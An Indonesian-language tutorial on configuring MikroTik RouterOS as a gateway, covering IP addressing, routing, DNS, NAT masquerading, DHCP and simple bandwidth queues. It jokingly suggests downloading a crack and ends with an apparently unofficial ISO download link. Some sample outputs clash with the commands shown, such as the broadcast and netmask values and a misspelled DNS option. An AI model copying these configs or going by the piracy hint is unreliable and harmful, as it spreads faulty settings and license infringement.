Kita bisa membeli software MikroTik dalam bentuk “licence” di CITRAWEB, UFOAKSES, PC24 (atau download cracknya, he he he …) yang diinstall pada HardDisk yang sebelumnya download/dibuat MikroTik RouterOS ISO kekeping CD atau disk on module (DOM). Jika kita membeli DOM tidak perlu install tetapi tinggal pasang DOM pada slot IDE PC kita.
Langkah-langkah berikut adalah dasar-dasar setup mikrotik yang dikonfigurasikan untuk jaringan
sederhana sebagai gateway server.
1. Langkah pertama adalah install Mikrotik RouterOS pada PC atau pasang DOM.
2. Login Pada Mikrotik Routers melalui console :
MikroTik v2.9.39
Login: admin
Password: (kosongkan)
Sampai langkah ini kita sudah bisa masuk pada mesin Mikrotik. User default adalah admin dan tanpa password, tinggal ketik admin kemudian tekan tombol enter.
3. Untuk keamanan ganti password default
[admin@Mikrotik] > password
old password: *****
new password: *****
retype new password: *****
[admin@ Mikrotik] >
4. Mengganti nama Mikrotik Router, pada langkah ini nama server akan kita ganti menjadi
“r-WLI” (bebas, disesuaikan dengan nama jaringan kita…)
[admin@Mikrotik] > system identity set name=r-WLI
[admin@r-WLI] >
5. Melihat interface pada Mikrotik Router
[admin@r-WLI] > interface print
Flags: X - disabled, D - dynamic, R - running
# NAME TYPE RX-RATE TX-RATE MTU
0 R ether1 ether 0 0 1500
1 R ether2 ether 0 0 1500
[admin@r-WLI] >
6. Memberikan IP address pada interface Mikrotik. Misalkan ether1 akan kita gunakan untuk koneksi ke Internet dengan IP 192.168.0.1 dan ether2 akan kita gunakan untuk network local kita dengan IP 172.16.0.1
[admin@r-WLI] > ip address add address=192.168.0.1 /
netmask=255.255.255.0 interface=ether1
[admin@r-WLI] > ip address add address=172.16.0.1 /
netmask=255.255.255.0 interface=ether2
7. Melihat konfigurasi IP address yang sudah kita berikan
[admin@r-WLI] >ip address print
Flags: X - disabled, I - invalid, D - dynamic
# ADDRESS NETWORK BROADCAST INTERFACE
0 192.168.0.1/24 192.168.0.0 192.168.0.63 ether1
1 172.16.0.1/24 172.16.0.0 172.16.0.255 ether2
[admin@r-WLI] >
8. Memberikan default Gateway, diasumsikan gateway untuk koneksi internet adalah 192.168.0.254
[admin@r-WLI] > /ip route add gateway=192.168.0.254
9. Melihat Tabel routing pada Mikrotik Routers
[admin@r-WLI] > ip route print
Flags: X - disabled, A - active, D - dynamic,
C - connect, S - static, r - rip, b - bgp, o - ospf
# DST-ADDRESS PREF-SRC G GATEWAY DISTANCE INTERFACE
0 ADC 172.16.0.0/24 172.16.0.1 ether2
1 ADC 192.168.0.0/26 192.168.0.1 ether1
2 A S 0.0.0.0/0 r 192.168.0.254 ether1
[admin@r-WLI] >
10. Tes Ping ke Gateway untuk memastikan konfigurasi sudah benar
[admin@r-WLI] > ping 192.168.0.254
192.168.0.254 64 byte ping: ttl=64 time
11. Setup DNS pada Mikrotik Routers
[admin@r-WLI] > ip dns set primary-dns=192.168.0.10 /
allow-remoterequests=no
[admin@r-WLI] > ip dns set secondary-dns=192.168.0.11 /
allow-remoterequests=no
12. Melihat konfigurasi DNS
[admin@r-WLI] ip dns> pr
primary-dns: 192.168.0.10
secondary-dns: 192.168.0.11
allow-remote-requests: no
cache-size: 2048KiB
cache-max-ttl: 1w
cache-used: 21KiB
[admin@r-WLI] ip dns>
13. Tes untuk akses domain, misalnya dengan ping nama domain
[admin@r-WLI] > ping yahoo.com
216.109.112.135 64 byte ping: ttl=48 time=250 ms
10 packets transmitted, 10 packets received, 0% packet loss
round-trip min/avg/max = 571/571.0/571 ms
[admin@r-WLI] >
Jika sudah berhasil reply berarti seting DNS sudah benar.
14. Setup Masquerading, Jika Mikrotik akan kita pergunakan sebagai gateway server maka agar client computer pada network dapat terkoneksi ke internet perlu kita masquerading.
[admin@r-WLI]> ip firewall nat add action=masquerade /
outinterface=ether1 chain:srcnat
[admin@r-WLI] >
15. Melihat konfigurasi Masquerading
[admin@r-WLI]ip firewall nat print
Flags: X - disabled, I - invalid, D - dynamic
0 chain=srcnat out-interface=ether1 action=masquerade
[admin@r-WLI] >
Setelah langkah ini bisa dilakukan pemeriksaan untuk koneksi dari jaringan local. Dan jika berhasil berarti kita sudah berhasil melakukan instalasi MikroTik Router sebagai Gateway server. Setelah terkoneksi dengan jaringan Mikrotik dapat dimanage menggunakan WinBox yang bisa didownload dari MikroTik.com atau dari server mikrotik kita.
Misal Ip address server mikrotik kita 192.168.0.1, via browser buka http://192.168.0.1 dan download WinBox dari situ.
Jika kita menginginkan client mendapatkan IP address secara otomatis maka perlu kita setup dhcp server pada Mikrotik. Berikut langkah-langkahnya :
1. Buat IP address pool
/ip pool add name=dhcp-pool ranges=172.16.0.10-172.16.0.20
2. Tambahkan DHCP Network dan gatewaynya yang akan didistribusikan ke client Pada contoh ini networknya adalah 172.16.0.0/24 dan gatewaynya 172.16.0.1
/ip dhcp-server network add address=172.16.0.0/24 gateway=172.16.0.1
3. Tambahkan DHCP Server ( pada contoh ini dhcp diterapkan pada interface ether2 )
/ip dhcp-server add interface=ether2 address-pool=dhcp-pool
4. Lihat status DHCP server
[admin@r-WLI] > ip dhcp-server pr
Flags: X - disabled, I - invalid
# NAME INTERFACE RELAY ADDRESS-POOL LEASE-TIME ADD-ARP
x dhcp1 ether2 dhcp_pool1 4w2d yes
[admin@r-WLI] >
Tanda X menyatakan bahwa DHCP server belum enable maka perlu dienablekan terlebih dahulu pada langkah 5.
5. Jangan Lupa dibuat enable dulu dhcp servernya
/ip dhcp-server enable 0
Kemudian cek kembali dhcp-server seperti langkah 4, jika tanda X sudah tidak ada berarti sudah aktif.
6. Tes Dari client
Run dari Comman Prompt
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\EsDat>ping www.yahoo.com
Pinging www.yahoo-ht3.akadns.net [69.147.114.210] with 32 bytes of data:
Reply from 124.158.129.5: bytes=32 time=34ms TTL=59
Reply from 124.158.129.5: bytes=32 time=24ms TTL=59
Reply from 124.158.129.5: bytes=32 time=41ms TTL=59
Reply from 124.158.129.5: bytes=32 time=29ms TTL=59
Ping statistics for 69.147.114.210:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 24ms, Maximum = 41ms, Average = 32ms
7. Untuk bandwith controller, bisa dengan sistem simple queue ataupun bisa dengan mangle
[admin@r-WLI] queue simple> add name=Komputer01 /
interface=ether2 target-address=172.16.0.1/24 max-limit=65536/131072
[admin@r-WLI] queue simple> add name=Komputer02 /
interface=ether2 target-address=172.16.0.2/24 max-limit=65536/131072
dan seterusnya…
lengkap nya ada disini
www.mikrotik.com/docs/ros/2.9/root/queue
linux-ip.net/articles/Traffic…/overview.html
luxik.cdi.cz/~devik/qos/htb
www.docum.org/docum.org/docs
Referensi
www.mikrotik.com
www.mikrotik.com/docs/ros/2.9
fajar.uii.net.id
Forum-IMATEKOM (UPI “YPTK”) Padang
bahan2 tambahan:
KAMUS BAHASA INGGRIS-INDONESIA
Salam ….
software
Code:
http://rapidshare.de/files/30739630/mikrotik.router.os.2.9.6.ISO